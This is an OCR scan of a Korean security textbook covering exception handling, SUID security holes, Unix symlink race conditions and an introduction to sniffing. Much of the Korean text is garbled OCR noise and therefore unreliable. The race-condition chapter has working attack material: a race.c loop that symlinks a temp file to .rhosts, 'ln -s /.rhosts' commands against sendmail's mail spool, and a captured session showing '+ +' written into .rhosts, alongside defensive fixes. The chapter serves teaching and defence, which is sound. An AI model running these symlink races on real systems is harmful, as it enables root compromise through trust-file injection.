o] oW E}YJQ] olHE oust=A] & WHe] gl7] wLolt). wEbA, A
Al Ao 99} o] base exception & throw = 45 A9 §la,

Aol exception E 222 319 F@ =21 logic_error 2L B o] A
o] &}9] S22l out_of range S~ 2 7ES] AEES AFESHA
Ao 58, ZEadH7} ols FHLE AEste] A =& exception =

~2 A8 5 gid. dF 59 e @

oy

o
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[el Al 4.3] throw exception Ol

class hackers error ;
public runtime error ({

public hackers error (const stringé& what);

if (bad packet())

throw hackers error ("There is a incorrect");

Aalel of ZE| Aol dell A9t ole B9k $RE HT Ha=

ofopat g}

ofjd| =224

[l 4.4] ofl<fakd of

#include <stdexcept>

#include <string>

static void function() { throw runtime error ("a runtime

error"); }

int main ()

string m;

try {

m.replace (100, 1, 1, 'c');

Lot
b

Z}
2l

3

}

0}
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try 251} catch 52| AIE
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catch (OutOfMemory)
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catch (FileNotFound)
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Try oi2to{ (Reserved Word)

)

obizdw oe)7} BAE Foletar o7

o -
£ z

A 9] (exception)

E
=

™
;oH
T

T

iy

1
)

[Rs s AR Kol

S

try &5 oA de)7h 24
12717k A ¢

A

zTE

YA

SEER IS

b2l catch

°©

o) 12

1

R

b

try 5 F ol

k)

ot

o)
Catch 02/ (Reserved Word)

catch 22 o ¢]7} 2359

finally &5©] glojof

o

A

o
=0

2l
)

P
o

oy

o <]

T
R

]
A

o Bte

P
T

0
pul

1
S,

Al Al Hk

°©

2
s10]of

NA try &

1

=
L
a1

=]

o
o

2]

o] =

1

il catch &
°

R8s

Shuh ol el o9)7}

F ol

o] A
HH try &5 el

°

°©

=

=

=

)=
Fu o] 49| catch &5 E9]

°©

T

0
pud

Nz try

S

b 9

°©

B A2 ool o

A2

= =
A=
BA -

=

o try E= nlz oA 9%
3]

T Faolth A
A (nested) = A 7]
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A o9l Ael)

- o Fde) A% FaRYe) we Feol dgets £7e ¢
S vEnh 1 o9 AeslE ARk s 4 7]olvh

- olele] FFE Abed AR sebslor ol Hgd ool

jis)
2
gl
&
[>
N
o
T
o

A P ArE O A8 g9 99=

__C')__
R oA "k old o 9] AEr]E dubHQl o] A2

- Y QwAel o] AVl oF B =gl ¥A Za,

[l & 4.5] try & catch 2| AlE

try {

rlr
i
OQL-"
i

Exception 1 °o|] WA 7lsAo] 3

catch (exception 1Type H)
try {
Exception 1 ¢ B IE;
Exception_2 ©°] WAd 7ol e AAE;
} catch (Exception 2Type M) |
exception 2 9 HF IE&;
}
} catch (Exception 3Type W) ({

exception 3 9 &7 HE&;
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-
=

°
K
)|

Hr

+

o
3|
el
oy
s
ol
il

o
ﬁo
i)
TH

ol
i

i
il
Hr
-

Wi
i

i

B

=
=

A ol HA] v )

= O
HeEs

A}
Al

2

b v

A7} WA E w77 Ao FaEojof &

R=q e i e

=R

3

T 5

A7t R wro 2 17}y

%% 5o} it}

i3

glo] mhx]9to 2 finally & A
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3fj oF

[ell A 4.6] finally

try {

ol = HAE;
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o

Exception ©] @Ag 7}

} catch ("5A Exception 2 E}Y"

Exception & &5+ FE=;
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4.4.2,

4.4.3.

MEEo AR AR
L3 2R A o] A2l &4 oW socket ©]U} file 5 open 3}

L PSS SR W 9 FL wASEA HFAM full path & =F 3

[olAl 4.7] SHEAHS| full path & =&AI7|= oA

- case in Data (whois.php)

if (!Stable || !Shost) {
ache "\m"g
exit;

® Jx| o E - ~HH OFF, serial port failure

o =4 A= - t2= full, memory =

o o - WAET SutEA FRAEA] G W (E dEx, § A
gle] folE F=)
of | at&e| X2

oW Zrads A8 e ved 22 77 A

Prnain Es

a8 4-1 25e
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LA

Aop L2 WA eFHAA = HhEA kA A Thest eiE dE

E=5 ok sk, o wIAAZE EHEE s, AFEATE olslsr] H
F HAAE FASoF St
except °|F-ol o Az o] Fri, WA o FALFLE 3] FA
af el olle] wAX wel= FAIE
A7 AR EFya v A= ok A AdE S
i, AFFH O Ao R B oGS /AL, Bl wol Hokd
EI7E ek A AR A2 s 2ol glejof gtk

2]

ole g 7s& k= Aol oA

try ~ catch 2| 0| &

o)z M Thsde] = FESt
5 oA A odEE 3198

ol 9178k catch 22 o] 9247

® finally & : &7} 73] ALY ofUAY #Agle]l 4 FPHINE ¢

[GI & 4.7] exception handling

public class Hackerslab{

public static void main ( String args[] ) {
int k = 0;
String greetings [ ] = {

"Hello!",

"It is a good day!",

"Hello !!"

while (k<4) {
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//tryi- start

try {
System.out.println( greet[k]);
//catch &=

(ArrayIndexOutOfBoundException e) {

} catch
System.out.println ("It is Resetting Index Value") ;

k= -1;
//catch &%

}catch ( Exception e ) {

System.out.println (e.toString() );

//finally &=

} finally {
System.out.println ("Always Printe");

k++;

= A ATIA H

=2 =

throw 22} throws 2 0|&

T2 a7} oS WA 7] 9§ AFLst) o9
23 WRE oA o] o

oo o7t HAE WREs B Ho WRsE &

9)E Aeste] Folok @l
® throws % o] dnryg A
throws exception-list

type method-name (parameter-list)

[ol A 5.8] Throw 2| of

throws IOException {

public void OpenFile (String filename)

FileInputStream finput;
new FileInputStream(Filename) ;

finput =
throw new IOException;

if( finput==null)
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-
Stack y;
if(!y.empty() ) y.pop();
- ¥ 2)
Stack vy;
try () {
y-pop ()
}catch (EmptyStackException e) {
}
A

of g zuel gaA 9 F b mEs} ek o714 F Ak e
g Agsts o det AR vusE F Al 49888 grshe
2Eg Agshsd e Azl 3 WA

o 10w 7p7kel Eth. whebAl, haE AR AF
A 7 ST AE FesHe A wEET el
SAA, oA 98 BRI e e Abgsoput Fih,

» 4G9 AEEs Uh AAlE] 2AekA] gt
[IA 5.10] 280l 10070 data & 7HUof ol XNEs= =

- WH
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catch (EmptyStackException stac) {

/) 28] B 3} 9

a9 UF AUs) 2aeA Hw, 2Esk 49 B ek
24 rasl ure o] Eh 9ol ool A W 1ol B 29 o

Image hackerImage (String s)

{ try

catch ( Exception e) {

b/ e d® AY 2EE.

2ol deA ZEagw s BE o 943S W] Exception 2R
oltl A% HFALAl FA7F LA = FAIRE, Z47Fo] o) dete] oS
AgetA A& 71 glek. 28 9 o= 2 3 ARggE A §-olth

4.4.4. 574 o Melstuxt g

At oz dejAeE staak & o v go] ot
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{eels TAAZ 74
except
{edels Agshes 2=)

end;

try ~ except Alole] Z=

except ~end Aol =

71X 54 o<l &2

MEHOob A}

o] J&E A=)

Al
=2

& At ozt 2k A3 $AskaL
4t

Aelstial & we okgsh ol s},

=

=

Ol

u}

Y

T80l = 2=}

[GI& 5.13] &3 of| 2 A&
Try

(A& SAAZ 7}
except

on 4 9°]&F do A¥;

else 1 9|9 Az

end;

4.5.1. of2 2HYAo| sHZoll et -
o elA g7t B sk, o] S o] &M AREAFE] AdE We 5 Y
Qristd, siAES EES 3te o5l A2HolA ALgste XEE o
gl JFE s Aok add o dAS ZRAMNE S =S 5H
Hed, 35 e Al2dS S8 He o] v root WS A A
=2 Al A}, ol Tk o]ifo] AH S (el LA ] ) security hole =
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4.5.2,

4.6.

Security hole(H ¢t Z)olgh A& g3l o] A Toz 2] E
A& SAE BHA F AA 27 s EHAY YA A He Bobde] of
s ettt

oj#Zo] o 97} WAIEt A, root WO E HA HIH F UA7] wfiEol o
o] A Aol et Aol Ak AR, o]Yd HelF Fof A=
HE eCHEEZS 2 AUEESE & F Atk ¥ 2 EE5(buffer

Overflow)+= chapter8 gl A ApA|etAl thF =5 slalTh.

dlelggol ¢ dojd = jivh 2, Aok dof WE w e o
9 el Aol delrt HAge o
b A @ AR oofel] thel] HAd oAy ZrIaRE vhHEo

=

, security hole 2 HF&

t
2
2
fo
i3
o
o
fr
r o
:?L_',
Y
12
o
™
ol
=5}
a
r [
o
AN

3t 5 9l 3o HEg SUID & o] & g doF 3 Par) 9l

BN AL, gAY AN BH S EFeES
g S Qe e AAE W wAEy] WEelth Ed 4rHoR 3
Aol 9 A2EE AAse find WEE A& A2E SUID 2o

Aol s HzdsfhoF gt

S AN I

® 3|A 2%, http://www.hackerslab.org

® 3l AHHTAE, www.certce.or.kr/advisory/ka2000/ka2000-

040.1xt
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MEHOF A}

92 73, hitp://myhome.hananet.net/

I3 A = 2] o}, http://www.superuser.co.kr

Joe Testa's Supa-fly HomePage, http://hogs.rit,edu/~joet/
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5. Race condition

5.1. Race condition 2| 7{2

5.1.1.

Race Condition O|2&t?

Race Condition ©] &, |21 & Sl 2ol o}yl t} Race Condition <
bl walA, 7 ZE A 27 resource & AMESH7] fIENA], TR
Golth, fre & Al=EoA T T o] ZmAATE Al AdE B
a5 Y ZEAAE A2 CPU S AAE7] 9] CPU S ks A8
w gels FErE Hof Xt

= 50, olgg Zrage] Jvkal 7HA e ®WAtk

- a8 =9

- child process & A

o] TR WS AYPAHAE AT o]B4 == ABABABA..9F & Ao R
parent ZZ A7} 9

H zho}l LpElfol SHAAIRE A A 2= parent ZZ A A2} child X Z A A7}
CPU & AAet7]  f1&f AlSsiA g2l Fei7t ¥
AABBABBABBBAABBBBA...9} o] &2 41 A¥rt YeER}A Hrt

8= A9 child Z2A~7 2H8= B SR

Race Condition & ©]&]3 EA S o] sl a7 7|Hom, g Za273
3 a7 9] exploit o] M= A whgoma  A]le] AAIRbS Th=

2= A o]t} Race Condition & F= AAFUS WA FE setuid TEL
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5.1.2.

ANS Wy w2 AMoR =y, B 2o JdAHAS A5
Aol 1AL exploit ©] WA 1 YA T LS WASIEF oM o] Fof
A= Aolt)

A IdlE Bug & %3l 9+ System Program ¥} Cracker ¢ Exploit
Program ©] Race(”d A) Condition(“JEl)ell o] 274 3}o] System Program ©]
zr= H3ko = (Set-User ID+7} 2 7% Root, Bin %) File o] o3k
Access & 7FssHl ot WS 2ttt 19, A58 Symbolic Link
tafr] Lol & HAZH o7 Race Condition 2] o)<} 1o o3l sf 2
Aol A otr = S},

Symbolic Link 2| 0[5

frY 220l Symbolic link 2= ofF £ JHAI7F A3 dukg o g
olWl »UL Hstaa & w), 179 Full-path & Foprls d& dw
3 AR Aot} B2 PATH &= =& 47 EA817]= sy, 140
2 29 EF5Esga A4 4= At} symboliclink = Z1'¢ path name
ow AT AEA, dF = Aol 7P A& Aow ot
of glito] A|2~El YolA /home/project/hacking o] 2} Tl dlEg oA A
TE o s AAIZ o2 i-9] login Ul FE 2] = /user/hackerslab ©]
2ol shf PR 1 Hor ATE o & W, 4 od
/home/project/hacking ¥} 72 wWh2jo g Z+ 4= vlrof] ¢lS Aot} 1A
T omfd ofg} o] i ¢S AEA-S Zlolth o]¥ 79 symbolic link
£ o]&std wg- s AT oY & Y EAA In-s
/usr/project/hacking .link' 2}a2 123}, "link"gl= 3 o] wHEo]
Ak, 13 ZFo] cd link 232 12EE link &=
/home/project/hacking &2 AAHo] glovg zFor 1 % yIAEZ
ol xstAl €t wi-$- Mgk 7]so|th
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Symbolic link &= #] ¢} o] wj-- AsHA ] & F o, A=

Bol WEsta vt Fe ol EAets ARbA <l W ed AR Yy
i Zo] BFZ o] Symboliclink 18], ¢ 291X 1 o]fF& HHHREE 3
}.

5.2. Race condition 2| &&AM

5.2.1.

Unix Uoll4{2] Race Condition 2| ¢{&4

Yo = Symbolic link #H= o} £ J|A7F EA o flolA ¥
, 17 ¢] Full-path & %o}
b= & WAL EAEH]

= 3, aAdoRrE 29 B8t 478 4 9t symbolic link &

£ P
O
r\'L
Y
{o
fu
2
&,
i)
e
o
X
rl
ﬁ.‘L
K
R
o

T8

o2 EojA], ojHl Zz o] hellohacking ZH= FAS HojA], 130
FA7bE AL 7T ofu] wkef o #{o] Permission ©] H U,
hellohacking 2} 39S #|$-31144, symbolic link 2 'In -s ~xxx/.rhosts
hellohacking' 231 3jF™ oJ9A =7t 1 22| A3wd
hellohacking 2}+= 39S o=t hellohacking += ~xxx/.rhosts 2= <
of HAaxe] lovmg 1 I .xxx/.rhosts & GojA 27 FHt}
oleldt Aol o A7} elm o £A5= autoreply 2= W1 =1, 1A
2 setuid root ¥ ©] 131, /tmp ©l arep.???? @} 666 mode & LS A
Aotk 9, 7 A E 39S §lel 2 (unlink), symbolic link &
/.thosts(root ©] .rhosts)= AAA AWM 1e|H AP3stAA /rhosts 2}
© el "+ +"HAE=7F So7H shyIvt &, WA OK 7 v

TRaYHEL o] 99} e EAHES d4st, RS dHE &
A =Tt 1AL vlE Istat) S o] £ o=, Istat)S o] &3},
A A modify 3314} &= 9+ o] Symbolic Link 9141 S H A djolslar =1
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Istat)3} open(Ateloll= 3] o] EAstt). 1 S A A3 o] &3t
o] ¥k= race condition 18], WA race X =135 background & & H
Uth. race T2 WA, A5 3t 213 0] modify h=
HdS AEsA #9301, FaE eI sk Y-S whEdt ad &

of FAstAA} st T2 WS S a8W ofg A =7}

Istat()©] ©]Fo1 & <w), unlink()7} = o)1, open)= = symbolic link 7}
Ho i, IstatQ) F&AE0] Hal whth ey, Z13le] o] Fo] HA
Qb o] Fo] HAl= wAgrolth flol A of 7|3 AAH ZRA AT oW
Ae EEEA HE 4 g 171 WEolth. ¥ 22, race condition ©] 2}
B
g 5o Aghe ZZ1%0] Root 9] 2FHSE Set-User ID 7 &2 X
Foletar &kat. o] o Avhe ZRIOHPL AP A4 dAE 3l
S S TEEojof str) A9 Y 2 thE UNIX Program o] A3 3}
PRI R /tmp HE o] So|7HA H=H o] dAIFde] olF&

Cracker 7} M%) &3t 1€ W), 71 gASHee] o] FoE 242 s

r
“

o

21-S- Destination © 2 Zri= Symbolic Link File & 750 T A gt

[d

2ao] AgES u Ags ZE1M0] Root o Hsto 7 AMAEHA
U 45 7}k File & Symbolic Link 2 9172 % Destination File ©] ¥
=

Rkef, Destination File o] =7181#] %+ File ©]2thal 3t Default
umask ] 2]3]A], rwxrwxrwx 2] Permission & %t File ©] A4 = o] %},
o] w, o] File ©] /~root/.rhots U /~root/.forward &2 ZolzhH o]& o]

FAAG 54 e MAS FAR 5 e §

=

r
m{o

234 root 2] #

DGE 192

=2

PN
T 3

AN
By
ot
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System Programmer 5 ©] ¢ 22 FE]9] Bug = <13llA] System ©] <t

Aol o9 e Aol Ui sidd oz dA RdS A5y Aol A

Ir

ShobH Z1719] Symbolic Link & 2t 91 x]o] gk HAALE F3)A <

access = ol thgk H+ AgHS &<l Open & g A5 1 9
< A]9-31 Symbolic Link & RFH=THH of® o] A SR = g}, v}
%, System Programmer ¢ =] FA}A = 1Fekst Al Exploit o] ©]-8-4
o4& Zlo|th

ol 4% Cracker 7} st= €& A3 Aol 2] #dS whEo] F= A

o] oz} QIA] Fdo] WhEo X=X oA FF A& Fofshs TR
HE APt dA] o] el Agoll= viE A ds AL
Symbolic Link & Tt=+& Z 298 st Zlo|th

Open & #% fstat = ©o]-&3A A= BAE A o] Symbolic Link

AA g Helshi

tat = A}-8-34] Symbolic Link 2}

rir
2
k)
)
rﬂ-l
o
R o
H
@

™ Cracker o] oJafiA o}&Hojx|aL Q= AHlo|me TR S
THIAY dA LS AE vHEdA sk WY e ® Cracker 59 o8
= ¥ gt

olA AL YAl el A System Program ¥} Exploit Program <
ALl A =3 ¥ v (Running) Ao SElE vetelm AL 2=
S ej7} ¥)= & Race Condition ©|2}al B}, o] 3t B Z1E5S System W
o] File £l &t Root A gHe] Access 7135 A&tz A3 3% 3
o oF gt}
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T3 A= AAFL S A SR SAES 22agHEe] =9
S FAlgHERe] g% EdE FH 9 Race Condition & 7do=x o]

E FASHA vk ok B E JEfe]  Race Condition & th&3 22

® system() I U} exec() TFFE o] falo] By xS W

grz AT,
gl
-

= o]&3te] o] W RIEAA F=3lo] AedES =
symlink() $+& ol&sto] A&y HaE5 AT o, Hx9dS EAe
A ok vd 2 23 7 default umask o 2314 rwxrwxrwx 2] A%
S Zte HRvdoe] AgE Ao Hx Z=1¥o] vk root Afref

W, 25 H33UL root AR o] A Zlolt. dfj7= ol "HA A

%

EE, oln] EAetE B, & 59 Jete/passwd T HEIFUE A
Aot i Zmado] AGE A2 AEY Jam 949
/etc/passwd 7} FH &= Zoltt

17, oJ7]o| Al Race Condition ©] A& e tiair A& IRES

3Ap B3 T2 Wo] AdAgAS AAlE uf, Race Condition ©] ©]F¢]
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5.2.2. Race Condition 2 o|2¢%t | s{ZA Al

E 5-1 Race Condition & o[2%t I sz Al

Lyl 7| Ay

=HolX| sHZ(et=dF<t FBI 7t HEHEZE AWE

99/5/ 23 NPNFE
i stct= FSe 71AD
SRSV & IA 2B oA E ARl I
ol AFREo FHFs 'R2|/H 3 ' Mo HAzZ &
99/3/31 KAIST
2 59 Xz2E iy, MBSz W 23|I
A ARE
SAMAE Qg4 EHOIX[Z7F LHES2HK| 2f5l 3
gl SE™dbof| 2 w2 HMSHAL stHes
98/5 S A

HH{E. 20 3|0[afe] AlAE Fojet 4 71| H|EH S

—

7t SHEA 227 v

PC &4l 5to| | pc &4 sto|& el ZFHo|X|7} sf7ollels Sztet i

98/4/10
= 2o 81t 2E2 Hiyo Z.
M= 11 70 wsof MM =2l 77t &, =
98/2/27 1174 =2
2r3tEg A
98/2/26 PC E4l LI | MAIHI| 50| 9A|ZFSOF OHH|E = Al 2hd,
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5.3. Race Condition 2 0| &8}

5.3.1.

EHAY 9f I PR o FARTR- |
ZEH id, 3% id & LolLhM ZHAR HAIZS
96/11/6 Lt <=2
XA
—/ o
TIHo| 2HAXHS, HUHSE Lol Q|
96 SYLALH
% 7};7&!
96 A SXX| & 25 54, 9 6% 644 70 2
of HZo| oZF 227 Oo|ME ApA Mg F
96/10/20 Pc ZHiZ 287/ H&H= F VAN ol &l o A
g d7sle 28HUHYEE EM5t0] H|UHSE
Lot =&
e S==x=M | el ™itof| &5, password it & ZZSH=
96/1/20
2 HOoZ J|UXRE Btz

SunOS sendmail(/bin/mail)

SunOS 2] sendmail 2 9| F-ZHE 2 wdS wolx] IRS
/var/spool/mail/$USER 9| *]¢] €=t} $USER 2= %71 13 = 14
o & Yi=th= ouolt), A= I 42 permission &2 Ho]F
7] €31 A (chown) Root ¥ eto &2 & 7;Mo] ZHolyithi= Al o|t},
/var/spool/mail 2] T&Ee]7} 777 & A Jvtar 7HA ) ol u,
/ete/passwd ol = entry 7} <= 3FaL, /var/spool/mail ol &= o}&] A 5}A]
oA 7} Aol gle=

2 race condition &2 A]2Eo|| Fo]

2

A tkar Ay 7hsl B A} fip, sundiag 5 mail ©]

Zolt o]

golg

|

« o

0,
o

=

=

ftp & A 2&}9ttar &12b.race TR WS wET AL

/var/spool/mail/ftp & A7} 1 9Y4E 'In-s /.rhosts
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/var/spool/mail/ftp'® B A= AS WHEsk= Aolgkal Azbsin. o] A
race TR IS U 2 Fo, fip & o5 A A3 data & WOl W
A& Huth TH o9 A HE=7)?

sendmail <= Symboliclink & H3tt}, g2z 5o vhilbge=a 9
o] dxH & Add HF 1 Y& /rhosts o] E°]7F=A] unlink()¥ o]
o] g™ A2, ftp gk Fdo] A EIL Aol & Flo|th
d7174#] AL o, of7] 71aE A ASE WA, o] A-S SunOS <

sendmail(/bin/mail)®] W 1E A st= Aolrt

[&=2 5.1] race.c

#include &ltsys/types.h>
#include &ltfcntl.h>
void main (void)
{
while (1) {
unlink ("./temp.file");

symlink ("./.rhosts"™, "./temp.file");

o] & race.c & 9?3 & ZEIaHlot}. ¥ASILAL S TR
A4 de el "tempfile"o] gz o]0 BUe WARTRL & W, 1
0] & Aotk "temp file"A|$-11, 71 & ThA] AA] t]HEE ]
".rhosts"ell ®HA3dtaskE RS REEAI7]AL Qlvh Ad 3 W&

racecondition.c ©]t}.
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[&=4A 5.2] racecondition.c
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if (S_ISREG (buf.st mode) ) printf ("regular
file\n")
if (is_link) {
printf ("THIS IS SYMBOLIC LINK. DIE
MAN\N")
exit (0);
}
fd = open(name, O WRONLY | O APPEND) ;
write (fd, data, strlen(data));
now ok () ;
close (fd) ;
exit (0) ;
}
}
now_ ok ()

printf ("Now ok is Appended.\n");

racecondition.c &= 4t A} k= TR 7hdE oo}, # 7o

Ao, 23S 1 HBS FAS] Bolr] fFtelth

o] Lo AJzkst w), WA Istat()S ©]&, Fdo] EAs=A oF F}
T 54& o]&sto], FdS

A7dstal data & "+ +"S Evth "+ +"S AW dlo]E AR sendmail ¢

3%, "t E data & vHOlA 2S5 doBER "+ +"S Edvta vb

t}.

=AE A A ¢low, open 94 O_CREA’

g

5
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>

=

o] EAEA Istat C2HE L& FHE 0] 83| A, symbolic link 14
ol A& A=A gt} symbolic link o]™ o] L2 e] oo BHA| o3&
Tk 18A oW At gdo|nR ) Jl&-& FUtsle] ¥

o|Al o] F ZRE1¥e] race & AAKY| nigtt}, 7] A8 AiE

oIt}

o
s

Capture 3+ 3¢

Script started on Wed Aug 21 02:19:24 2001
[moses:/u4/norther/seoro] 1 cat ./.rhosts
nowhere nobody

[moses:/ud4/norther/seoro] 2 race &

[1] 6519

[moses:/ud/norther/seoro] 3 xx

File does EXIST!

Now This file is a link

THIS IS SYMBOLIC LINK. DIE MAN
[moses:/ud4/norther/seoro] 4 xx

File does not Exist.

Now ok is Appended.
[moses:/ud4/norther/seoro] 5 cat ./.rhosts
+ +

ere nobody

[moses:/ud4/norther/seoro] 6 xx

File does EXIST!

Now This file is a link

THIS IS SYMBOLIC LINK. DIE MAN
[moses:/ud/norther/seoro] 7

script done on Wed Aug 21 02:20:11 2001




5.3.2.

MEEO A SRR

A Ao G 1,23, HEE welrHEt) 1 Hol A WA rhosts o] 513
= Y-S H9kth "nowhere nobody"#i= HO|E| 7} £ Ut} 2 Wl A]
race &= =] background 2 &34 tmp.data & AR H A=
IG5 vHEEtaL Qlrh =] gl B TS A 1
o] EAstH, 1A o] symboliclink ¢} o] =2},
o] A2 race & Wi, unlink()3sted, LS gl =3to] o} 2}, symbolic link
= AA4F =3tol IstatQell AelA vehd dAdolth g4 Mol A thA] A3t
th ol¥ol= o] glow, &S P=thal yEbdth 5 Mol A rhosts
W82 el A3, obd Al ofy et "+ +"HAA7F Eo]7FU T 6 WO
SH O s tAIT Aufsiar i

2

Solaris 2.x ps(/usr/bin/ps)
Solaris 2.x ° = ps & /tmp U EZ ] AL S wE, 1 9o
W-&s & tha chown(= o|-&ste], AghE v L wpxwto g IS
/tmp/ps_data 2+ 3 Y= rename A AT oA o]H WHOE race

.

condition ©| 7}5&7}?

ol M o] race TEIAML okzk A AL A yHSojo} 3T} QAR S
A= g olFo] FAIA &A Fetrw, oyl F -0l race T
AWM ALENA Jtmp UM ER S search 37 H A tpEhE shdub
race S Zo]Folok &7 Ht}. search 3t WA 3ol Vel TAS
unlinkQA1 7132, 2 o8 231S $-27F ks ool fasth o &
1 39S chownOA 7122, $-2]7F A= 919 9] permission ©] v} 7
dt

72 g

lusr/ucb/lpr

/bin/passwd -F AAE HAA| Jetc/ptmp 2l= TS MM, UHES HIE
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HE

=ofl, /etc/passwd Oll overwrite A|Z1C},

/usr/lib/sendmail

Guessing 7t=gh mhio| 4

2l user 7t EXMSIX| %= A, Ivartmp/dead.letter o

0x

=i,

(e

5.3.3.

K

Mju

i
a2

3l dE

fork A 7]+ X &1

k=

Ol

],

gt

H
B

(=233 5.3] fork.c

void main (void)

{
int

int

race condition

2}, Y} parent process =5 child process &

ol .

childpid;

a,

b.

r

if ((childpid

}

for (a

= fork()) > 0) { /* Parent process */

= 0; a < 100; at+) printf("O");

exit (0);

else { /* child process */

for (b =

0; b < 100; b++) printf ("X");

exit (0);

@ Aeg s TRALE S o 9t 35

u], 71 return &2 M E2 WHEOR T 2A s HE

o7 F XZAXE Ys § A du agd 9ol

Aele] ZeAss 0 BAE AAE, A
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Aog U z2HrE X5 AEth B2 2447 100 WS, old], Y~
= Time Sharing & A}&3l2 2, T2A 2 it} AI7HS 7}
=, A= NS oF=u @R EA7E
¢ A7MEL7|ZE 0X0X0X.. ol Aoz v A7t £ A
7k A B H 000XXO0XXXXXX00X0XX o]#l 2] o7 & F7

’dol glo] YEebdTt. o] Zlo] HEE race condition ©] 2= Zl o] T,

5.4. Race Condition 2| {/&Aoll st Ci=y

5.4.2. Unlink()E E27}=3sHH €&

unlinkO)E &7}153HA 3th unlinkQ)E A 714 %384, symbolic link 7} 7+
50 A= AL Brbssth 919 Solaris ©] ps M1 /tmp 7} o777 BE
2 9E 747 /tmp 9 9YS modify 7Hs 3719 YERSE B I1olt), o]

A A /tmp & 1777 & sticky & Eo|A 9, unlink()7} E7Fs sz o}

5.4.3. creat()2 open()S TFE5I0] AlE.

creat()¢} open()®] & A3 Itk o] 22 /bin/mail o F-F- AT
o2 whgaa sk S AlS ARurt HaE wEdv) stes,
7}A] 7 9-wko] ZA T}, symbolic link ©] 7]

FAolt}, 28 22, Istat()ol| 4] A o] &

%+ open()A1 4 o, 54

Y

A% ¥AL 9 Aoe T
b, Awe 2484 A

A g Ao By

oﬁ _{n
N

O_WRONLY|O_CREAT ©.2 F= 3lo] ojye}, 97]¢] O_EXCL S #H7}
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5.4.4.

QL
2
rEl
e
2
rF“
1>
o
b
fin
i
e
©
riN
=2
p‘l
rlr
o,
o
H
me
ox
ox
H
rlr
[
N
il

umask & %[5t 022 = 7Al.
umask & H3} 022 A% FA st} Fdo] AAEE AL 7=
permission ©] 666 S = 74 9tA & 4=t} olo] umask & ©] &3}
™, permission ©] mask ¥ o] YA, thE {4 9] write permission & $1
o =Tt
T2 a5 3|7 E0°] Race Condition & ©]-&3lo] A|AElS 933t
= HIRe Al s A W, 2 A gde] ojn] EAfsks vl

o] %

N

L

AN

HAAEgE 5, vk olm] EAskal Atk exploit o] A AEY
Y 7bsAde] JergE, O s X AR dA TS A ST
AT SAES ZEIAHHEY =89S FAIGERe] S T e
Race Condition & 7H¢3sto &4 o]E

system() ¥t exec) FrE ol&ste] B3 ZREIOYS WHIaGLER
AAZITh dA|gd o] AEY FAAA st AEE FA7F ofyeg)

A AT S AR B dAHA Y olFor ey FAE YT

N
K
3
rr
N
)
i
o
>~
>
(o
ls}
2
k2
>
1)
0
mlo
0%
o,
=
2
rr
jua)
o
o
oo

A} exploit & PAIAS Alolell Fal Mo FHE defst CPU &
e AL dele Fejrt 5o 2ok ® Race Condition o]gHE= o] &
o] # AgtA Hrh
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ZRayys & 49 ted AES FYsiok gk Race Condition ©]
WAEE A9E A7 4 7HAE Uis 7 ok access() & open() to check
permission, temp file name selection & create(), delete(), file owner/mode
change & check, Recycled filename A} e.g. /bin/mail , /usr/ucb/lpr,
/usr/bin/ps ©|t}.

Race Condition & 3|3} W Al 3dS & 44
U= 7, open(“filename”, O_CREAT|O_EXCL), ¥ =
o] symbolic link race & 71, open() $4 fstat) 2.2 215 strf, UA
3} A4 Al tmpnam(), tempnam(), mktemp()S AF§-3}7] Hthe=
mkstemp(), tmpfile) S AF&3Fa, WA Fo W A3 gpdo] A&

I ETRE Pt

&0 A=

® MicroSoft

http://www.microsoft.com/korea/technet/security/bulletin/MSoo0-

064.asp

e MY H3E FZTY http://www.certcc.or.kr/

® KISA http://www.kisa.or.kr/

® 3|7 2= http://www.hackerschool.org/

® GNU Hacker http://gnuhacker.com/

® Av A M7} 145 http://www.superuser.co.kr/

® Progressive Web Group COOL4U http://www.coolqu.co.kr/

® 738 http://www.plus.or.kr
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6. 24 (Sniffing)

6.1. Sniffing 2| 7IL

6.1.1.

Sniffing 0| 2?

1] ¥ (sniffer)= ¥ Network Associate A}9] 5241

L} kleenex A5 LRFAQl 82 AFEE I Q). "sniff'gh= ©Ho] ] 9w
»

30

O
;
[..‘Bi:
2
e
hd
(@)

H ZAEHQl goj2 ez, TCP/IP X2 E o] A4 Eu] datagram

AA7F s wst shA o AFEA Hol A webA, MES A
ol Fst= WA ES HokA Aol BHA AE2FS b A HelgE
D= F7F = Aot o2k WS sniffing o] 2k gt

ol#g 2yg T4 Yo aH, JHUHIHAHAIDC) 53 Zo] o
AA7F 22 MEHRIE &frste SAdA= mg- AF A T40] 2
T Atk e Alz"lo] &4 TGk A HW 2 AAFS o] gste] UE
NIAE =HEA a1, ttE A|~El9] User ID/Passwd & LolA Ft).
H 5 2914 39 UEYAE FFoto] 2UE S oAHA & = A

goolE SEY ot Be FAWYe EA@

.

w Aollds 29H @A 24 &4 7wt 2ear o]l gt o

42 A,

6.2. Ethernet

ol Y& 1970 At 4l Xerox AFY] Palo Alto Research Center(PARC) ]
AFARD Ao AxzE a4 HAoh 237] oy 1Km 7HA] A3E
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HEHOH ALE SHEXLR
T A3, 100 719 stations 55 AL, 2.94Mbps 2] HolH HEFE
< X3t Ethernet o] eh= &0]= olrHle] a4 A= &7sta

Aol F2 ke EAE ether gta F-2+= dlA F o

ot Ul gl o] AMEY ETo] F At Digital Equipment
Corporation(DEC), Inter, Xerox 52| ¥A}=°] IEEE802 ¥ O 2 X
Ethernet = A ¥13}7] & A|otdl=d]|, ©].Ethernet #|<F2 IEEE 802.3 &2
A At BYAE 28R oyl ¥+ IEEE 802.3 X7t

MEZE FAle AT Sl T aRk AFolxdo] Ut
=4

rlo

Ethernet network 9| &2] %]
AMd, %71 Ethernet olsjo] S84l W2~ EZZXQch 1y A

2 IEEE o] o3& IA s 22 vjXy} EZEX HF-E0] Atk

i
i)

Al W2 FFo| A EE stations T THEES UEY A AolES

Aar = wAA el s A RE BkS- Sk

a8 6-1 HA EZEZX|

a3 oluue] A% ALE LobuA,
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CSMA/CD wW2]9] dlo]g Z<%H24) o] Qlt}. Ethernet workstation ©] H|©]
HE ®Hu7] #d thE station ©] packet & Rl &= AS AHE),
packet ©] HFH 3 Q= FolH °] A S carrier 2Fal 21, line & FUY
H® = A& carrier sense 2l F-E1U}F o] H station ©] carrier & A
Frhd 1 station & WA 7F AES HWE F AL g6vtolARE FoF A
= BRddt old AAS sAlo dEsk= F station (S HS kAl
packet Atololl A3 A FASHA o =th dEe] dRHAS o
carrier sense = UFA] AlZFET) qheF) 5 Aol 5 station ol A packet & X
YA =, F=o] WSt FEo] WS Packet & garbage 7} Hth.

=2 AFshE F station 7hell w9 #-2 AZFEE dojd 4 7 S

